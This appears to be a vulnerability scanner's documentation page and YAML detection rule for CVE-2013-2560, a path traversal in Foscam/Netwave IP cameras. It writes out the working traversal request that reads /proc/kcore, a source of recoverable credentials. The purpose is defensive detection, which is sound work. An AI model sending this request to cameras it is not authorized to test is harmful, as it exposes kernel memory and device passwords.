Foscam — 1 vulnerability check

noctis ships 1 vulnerability check for Foscam, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Foscam IP Camera Web Interface Path Traversal

CVECVE-2013-2560
Severityhigh · CVSS 7.8
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, tcp_open, tcp_send, sleep, tcp_close, script, match · highest QoD 75
Feedtests/vulnerabilities/foscam/CVE-2013-2560.yaml

Detects the path traversal in the embedded web interface of Foscam (Netwave-based) IP cameras with firmware before 11.37.2.49, including OEM-rebranded models running the same firmware. The test sends the raw request GET //../proc/kcore HTTP/1.0, which a vulnerable camera resolves outside its web root, and parses the start of the reply: it is confirmed when the body begins with an ELF core-file header (e_type ET_CORE, with a CORE note), i.e. the kernel's /proc/kcore memory image, and a second request for a random absent file under the same traversal does not return one (when that second request gets no reply, the result is reported with lower confidence). Reading /proc/kcore exposes kernel memory, from which the camera's web and Wi-Fi credentials can be recovered. The test reads at most 64 KiB, only inspects the ELF header, and puts no memory content in the evidence.

How noctis detects it

  1. Opens a persistent TCP/TLS socket
  2. Sends GET //../proc/kcore HTTP/1.0 on the open socket
  3. Sends … on the open socket
  4. Parses / computes the next value with a Rhai script
  5. Opens a persistent TCP/TLS socket
  6. Sends GET //../proc/kcore.noctis-absent-{{oob_token}} HTTP/1.0 on the open socket
  7. Sends … on the open socket
  8. Parses / computes the next value with a Rhai script
  9. Checks proof for core-file header \(e_type ET_CORE → finding QoD 75: Foscam IP Camera Web Interface Path Traversal (CVE-2013-2560)
  10. Checks proof for core-file header \(e_type ET_CORE → finding QoD 70: Foscam IP Camera Web Interface Path Traversal (CVE-2013-2560)

References:

Feed source — tests/vulnerabilities/foscam/CVE-2013-2560.yaml
# Foscam (Netwave) IP cameras — web interface path traversal — CVE-2013-2560
#
# The embedded web server of Foscam FI89xx-series cameras (the "Netwave IP
# Camera" firmware, also sold under many OEM brands) does not confine request
# paths to its web root: firmware up to 11.37.2.48 resolves
#   GET //../proc/kcore HTTP/1.0
# against "/" and streams the kernel's /proc/kcore, from which the web and
# Wi-Fi credentials can be carved (Arnaud Calmejane / Frederic Basse, Bugtraq
# 2013-03-13). Fixed in firmware 11.37.2.49.
#
# Ported from OpenVAS/Greenbone NVT 2013/gb_foscam_58290.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103679, GPL-2.0-only): the same raw request, and
# a report when the first 500 bytes of the reply contain "ELF" and "CORE".
#
# Deviations from the NVT (stronger detection, stated in the PR):
#   * Stricter proof: the reply body must START with a valid ELF header
#     (magic, class, EI_VERSION 1) whose e_type is ET_CORE (4), read with the
#     header's own byte order, and carry a "CORE" note name — the NVT accepts
#     the two words anywhere in the reply (an HTML page mentioning "ELF" and
#     "CORE" would do).
#   * Absent-file control on a second connection: the same traversal to a
#     random absent file named after the probed one must not return an ELF
#     core, so a blanket responder / honeypot gives no finding. When the
#     control gets no reply at all, the read is reported at QoD 70.
#   * No "Netwave IP Camera" Server-banner gate: OEM-rebranded cameras run the
#     same firmware under other banners, and the ELF core header is proof on
#     its own.
#   * A late re-read (probe and control alike) when nothing arrives in the
#     first read window or the body follows the headers late.
#
# Read-only and bounded: the scanner reads at most 64 KiB of the reply and
# only parses the ELF header; no kernel memory reaches the finding.
uid: 5608b97f-d83f-41b1-a703-466c5d9c2c7d
name: "Foscam IP Camera Web Interface Path Traversal (CVE-2013-2560)"
description: |
  Detects the path traversal in the embedded web interface of Foscam
  (Netwave-based) IP cameras with firmware before 11.37.2.49, including
  OEM-rebranded models running the same firmware. The test sends the raw
  request GET //../proc/kcore HTTP/1.0, which a vulnerable camera resolves
  outside its web root, and parses the start of the reply: it is confirmed
  when the body begins with an ELF core-file header (e_type ET_CORE, with a
  CORE note), i.e. the kernel's /proc/kcore memory image, and a second request
  for a random absent file under the same traversal does not return one (when
  that second request gets no reply, the result is reported with lower
  confidence). Reading /proc/kcore exposes kernel memory, from which the
  camera's web and Wi-Fi credentials can be recovered. The test reads at most
  64 KiB, only inspects the ELF header, and puts no memory content in the
  evidence.
cves: [CVE-2013-2560]
cvss: 7.8
severity: high
category: file-read
confidence_base: 0.30
tags: [foscam, netwave, ip-camera, iot, path-traversal, file-read, proc-kcore]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-2560"
  - "https://fredericb.info/2013/03/cve-2013-2560-foscam-1137248-path.html.html"
  - "https://seclists.org/bugtraq/2013/Mar/80"
  - "https://www.exploit-db.com/exploits/38356"
  - "https://www.securityfocus.com/bid/58290"

steps:
  # Pre-init everything the scripts read: a failed step stores nothing, and an
  # undefined variable would abort the test.
  - id: init-probe
    action: set_var
    var_name: probe
    var_value: {response_hex: ""}
  - id: init-probe-late
    action: set_var
    var_name: probe_late
    var_value: {response_hex: ""}
  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {response_hex: ""}
  - id: init-ctl-late
    action: set_var
    var_name: ctl_late
    var_value: {response_hex: ""}
  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""
  - id: init-ctl-state
    action: set_var
    var_name: ctl_state
    var_value: "none"

  # ── 1. Exploit: traversal to /proc/kcore (raw request, no URL normalising) ─
  - id: open
    action: tcp_open
    handle: web
    port: "{{port}}"
    timeout_secs: 10
    store_as: web_open

  - id: probe
    action: tcp_send
    handle: web
    send: "GET //../proc/kcore HTTP/1.0\r\n\r\n"
    store_as: probe

  # Re-read once when nothing arrived in the first read window (slow first
  # byte), or when the reply stopped at / inside the HTTP header block (the
  # body can follow the headers after the first read window).
  - id: probe-wait
    action: sleep
    condition: 'type_of(probe.response_hex) != "string" || (probe.response_hex.starts_with("48545450") && (!probe.response_hex.contains("0d0a0d0a") || probe.response_hex.ends_with("0d0a0d0a")))'
    duration_ms: 2000

  - id: probe-late
    action: tcp_send
    condition: 'type_of(probe.response_hex) != "string" || (probe.response_hex.starts_with("48545450") && (!probe.response_hex.contains("0d0a0d0a") || probe.response_hex.ends_with("0d0a0d0a")))'
    handle: web
    send: ""
    store_as: probe_late

  - id: close
    action: tcp_close
    handle: web

  # ELF header at the body start (after the HTTP header block, or at byte 0
  # for a header-less reply), e_type ET_CORE in the header's byte order, and a
  # "CORE\0" note name further on. Returns a description, never the data.
  - id: parse
    action: script
    code: |
      let h = "";
      if type_of(probe.response_hex) == "string" { h += probe.response_hex; }
      if type_of(probe_late.response_hex) == "string" { h += probe_late.response_hex; }
      let off = -1;
      if h.starts_with("7f454c46") {
        off = 0;
      } else if h.starts_with("48545450") {
        let i = h.index_of("0d0a0d0a");
        while i >= 0 && i % 2 != 0 { i = h.index_of("0d0a0d0a", i + 1); }
        if i >= 0 && substr(h, i + 8, i + 15) == "7f454c46" { off = i + 8; }
      }
      let r = "";
      if off >= 0 && h.len() >= off + 40 {
        let cls = substr(h, off + 8, off + 9);
        let enc = substr(h, off + 10, off + 11);
        let ver = substr(h, off + 12, off + 13);
        let et = substr(h, off + 32, off + 35);
        let t = -1;
        if enc == "01" { t = u16le(et); } else if enc == "02" { t = u16be(et); }
        if (cls == "01" || cls == "02") && ver == "01" && t == 4
           && h.index_of("434f524500", off + 40) > 0 {
          let bits = if cls == "01" { "ELF32" } else { "ELF64" };
          let order = if enc == "01" { "little-endian" } else { "big-endian" };
          r = bits + " " + order + " core-file header (e_type ET_CORE, CORE note)";
        }
      }
      r
    store_as: proof

  # ── 2. Control: an absent file under the same traversal ──────────────────
  - id: ctl-open
    action: tcp_open
    condition: 'proof != ""'
    handle: ctl
    port: "{{port}}"
    timeout_secs: 10
    store_as: ctl_open

  - id: ctl-probe
    action: tcp_send
    condition: 'proof != ""'
    handle: ctl
    send: "GET //../proc/kcore.noctis-absent-{{oob_token}} HTTP/1.0\r\n\r\n"
    store_as: ctl

  # Same re-read rule as the probe, so a responder that sends the body late
  # is judged on its body.
  - id: ctl-wait
    action: sleep
    condition: 'proof != "" && (type_of(ctl.response_hex) != "string" || (ctl.response_hex.starts_with("48545450") && (!ctl.response_hex.contains("0d0a0d0a") || ctl.response_hex.ends_with("0d0a0d0a"))))'
    duration_ms: 2000

  - id: ctl-late
    action: tcp_send
    condition: 'proof != "" && (type_of(ctl.response_hex) != "string" || (ctl.response_hex.starts_with("48545450") && (!ctl.response_hex.contains("0d0a0d0a") || ctl.response_hex.ends_with("0d0a0d0a"))))'
    handle: ctl
    send: ""
    store_as: ctl_late

  - id: ctl-close
    action: tcp_close
    handle: ctl

  # "blanket": the absent file also came back as an ELF image (honeypot /
  # tarpit); "clean": a reply without one; "none": no reply at all.
  - id: control-state
    action: script
    condition: 'proof != ""'
    code: |
      let h = "";
      if type_of(ctl.response_hex) == "string" { h += ctl.response_hex; }
      if type_of(ctl_late.response_hex) == "string" { h += ctl_late.response_hex; }
      if h == "" { "none" }
      else if h.contains("7f454c46") { "blanket" }
      else { "clean" }
    store_as: ctl_state

  # ── 3. Report ────────────────────────────────────────────────────────────
  - id: report
    action: match
    source: proof
    pattern: "core-file header \\(e_type ET_CORE"
    condition: 'proof != "" && ctl_state == "clean"'
    on_match:
      finding:
        title: "Foscam IP Camera Web Interface Path Traversal (CVE-2013-2560)"
        description: "GET //../proc/kcore returned the kernel's /proc/kcore memory image (an ELF core-file header) while the same traversal to a random absent file did not: the camera's web server serves files outside its web root, including kernel memory from which the web and Wi-Fi credentials can be recovered."
        remediation: "Update the camera firmware to 11.37.2.49 or later (or the OEM equivalent), change the web and Wi-Fi passwords, and do not expose the camera's web interface to untrusted networks."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET //../proc/kcore returned an ELF core image; the absent-file control did not. Parsed: {{proof}}"
      stop: true

  - id: report-uncontrolled
    action: match
    source: proof
    pattern: "core-file header \\(e_type ET_CORE"
    condition: 'proof != "" && ctl_state == "none"'
    on_match:
      finding:
        title: "Foscam IP Camera Web Interface Path Traversal (CVE-2013-2560)"
        description: "GET //../proc/kcore returned the kernel's /proc/kcore memory image (an ELF core-file header): the camera's web server serves files outside its web root. The absent-file control got no reply, so the result is reported with lower confidence."
        remediation: "Update the camera firmware to 11.37.2.49 or later (or the OEM equivalent), change the web and Wi-Fi passwords, and do not expose the camera's web interface to untrusted networks."
        confidence_delta: 0.40
        qod: 70
        evidence: "GET //../proc/kcore returned an ELF core image; the absent-file control got no reply. Parsed: {{proof}}"
      stop: true

View these feeds on GitHub